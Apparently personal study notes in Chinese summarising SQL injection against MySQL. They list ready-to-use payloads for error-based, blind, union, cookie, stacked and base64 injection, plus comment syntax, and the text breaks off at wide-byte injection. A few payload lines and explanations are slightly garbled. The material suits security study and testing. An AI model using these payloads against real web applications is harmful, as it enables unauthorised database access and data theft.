sql注入总结学习
按照类型分类整数型字符型
按HTTP提交方式分GET注入POST注入Cookie注入
按注入方式分报错注入floor()和rand()extractvalue()updatexml()geometrycollection()multipoint()polygon()multipolygon()linestring()multilinestring()exp()Procedure_Analyse时间注入
盲注使用函数布尔盲注时间盲注
union注入Boolean注入Cookie注入堆叠查询注入base64注入
注释编码问题宽字节注入利用
MySQL 5.0以上和MySQL 5.0以下版本的区别information_schemaSCHEMATATABLESCOLUMNS
绕过大小写绕过双写绕过编码绕过(url全编码、十六进制)内联注释绕过关键字替换逗号绕过比较符号( >、< )绕过逻辑符号的替换空格绕过
等价函数绕过http参数污染缓冲区溢出绕过
按照类型分类
整数型
字符型
按HTTP提交方式分
GET注入
POST注入
Cookie注入
按注入方式分
报错注入
基于floor,UpdateXml(有长度限制,最长32位),ExtractValue(有长度限制,最长32位)进行报错注入。
floor()和rand()
union select count(*),2,concat(':',(select database()),':',floor(rand()*2))as a from information_schema.tables group by a /*利用错误信息得到当前数据库名*/
extractvalue()
id=1 and (extractvalue(1,concat(0x7e,(select user()),0x7e)))
updatexml()
id=1 and (updatexml(1,concat(0x7e,(select user()),0x7e),1))
geometrycollection()
id=1 and geometrycollection((select * from(select * from(select user())a)b))
multipoint()
id=1 and multipoint((select * from(select * from(select user())a)b))
polygon()
id=1 and polygon((select * from(select * from(select user())a)b))
multipolygon()
id=1 and multipolygon((select * from(select * from(select user())a)b))
linestring()
id=1 and linestring((select * from(select * from(select user())a)b))
multilinestring()
id=1 and multilinestring((select * from(select * from(select user())a)b))
exp()
id=1 and exp(~(select * from(select user())a))
Procedure_Analyse
配合报错注入即可/也可以用注入点在limit后的注入 样例
时间注入
id = 1 and if(length(database())>1,sleep(5),1)
盲注
使用函数
length(str) :返回字符串str的长度
substr(str, pos, len) :将str从pos位置开始截取len长度的字符进行返回。注意这里的pos位置是从1开始的,不是数组的0开始
mid(str,pos,len) :跟上面的一样,截取字符串
ascii(str) :返回字符串str的最左面字符的ASCII代码值
ord(str) :将字符或布尔类型转成ascll码
if(a,b,c) :a为条件,a为true,返回b,否则返回c,如if(1>2,1,0),返回0
布尔盲注
and ascii(substr((select database()),1,1))>64 /*判断数据库名的第一个字符的ascii值是否大于64*/
时间盲注
id=1 union select if(SUBSTRING(user(),1,1)='root',sleep(4),1),null,null /*提取用户名第一个个字符做判断,正确就延迟4秒,错误返回1*/
union注入
id =-1 union select 1,2,3 /*获取字段*/
Boolean注入
id=1' substr(database(),1,1)='t'--+ /*判断数据名*/
Cookie注入
当发现在url中没有请求参数,单数却能得到结果的时候,可以看看请求参数是不是在cookie中,然后利用常规注入方式在cookie中注入测试即可,只是注入的位置在cookie中,与url中的注入没有区别。 Cookie: id = 1 and 1=1
堆叠查询注入
id = 1';select if(sub(user(),1,1)='r',sleep(3),1)#
堆叠注入简介
Stacked injections: 堆叠注入。从名词的含义就可以看到应该是一堆 sql 语句(多条)一起执行。而在真实的运用中也是这样的, 我们知道在 mysql 中, 主要是命令行中, 每一条语句结尾加; 表示语句结束。这样我们就想到了是不是可以多句一起使用。这个叫做 stacked injection。
原理
在SQL 中, 分号(;)是用来表示一条sql 语句的结束。试想一下我们在; 结束一个 sql语句后继续构造下一条语句, 会不会一起执行?因此这个想法也就造就了堆叠注入。而 union jection(联合注入)也是将两条语句合并在一起, 两者之间有什么区别么?区别就在于 union或者 union all 执行的语句类型是有限的, 可以用来执行查询语句, 而堆叠注入可以执行的是任意的语句。
堆叠注入的局限性在于并不是每一个环境下都可以执行, 可能受到 API 或者数据库引擎不支持的限制, 当然了权限不足也可以解释为什么攻击者无法修改数据或者调用一些程序。
虽然我们前面提到了堆叠查询可以执行任意的sql 语句, 但是这种注入方式并不是十分的完美的。在我们的web 系统中, 因为代码通常只返回一个查询结果, 因此, 堆叠注入第二个语句产生错误或者结果只能被忽略, 我们在前端界面是无法看到返回结果的。
因此, 在读取数据时, 我们建议使用union(联合)注入。同时在使用堆叠注入之前, 我们也是需要知道一些数据库相关信息的, 例如表名, 列名等信息。
成功删除
tips:
并非所有环境都支持堆叠注入,比如Oracle查询时通常只返回一个结果,导致后面的SQL语句可能无法回显到页面上
base64注入
对参数进行base64编码,再发送请求。
说明:id=1',1的base64编码为MSc=,而=的url编码为=, 所以得到以下结果:
id=MSc=
注释
#
-- (有空格)或--+
/**/
内联注释:
/*!...*/
编码问题
宽字节注入
查询参数是被单引号包围的,传入的单引号又被转义符()转义,如在后台数据库中对接受的参数使用addslashes()或其过滤函数数据库的编码为GBK
利用
id = -1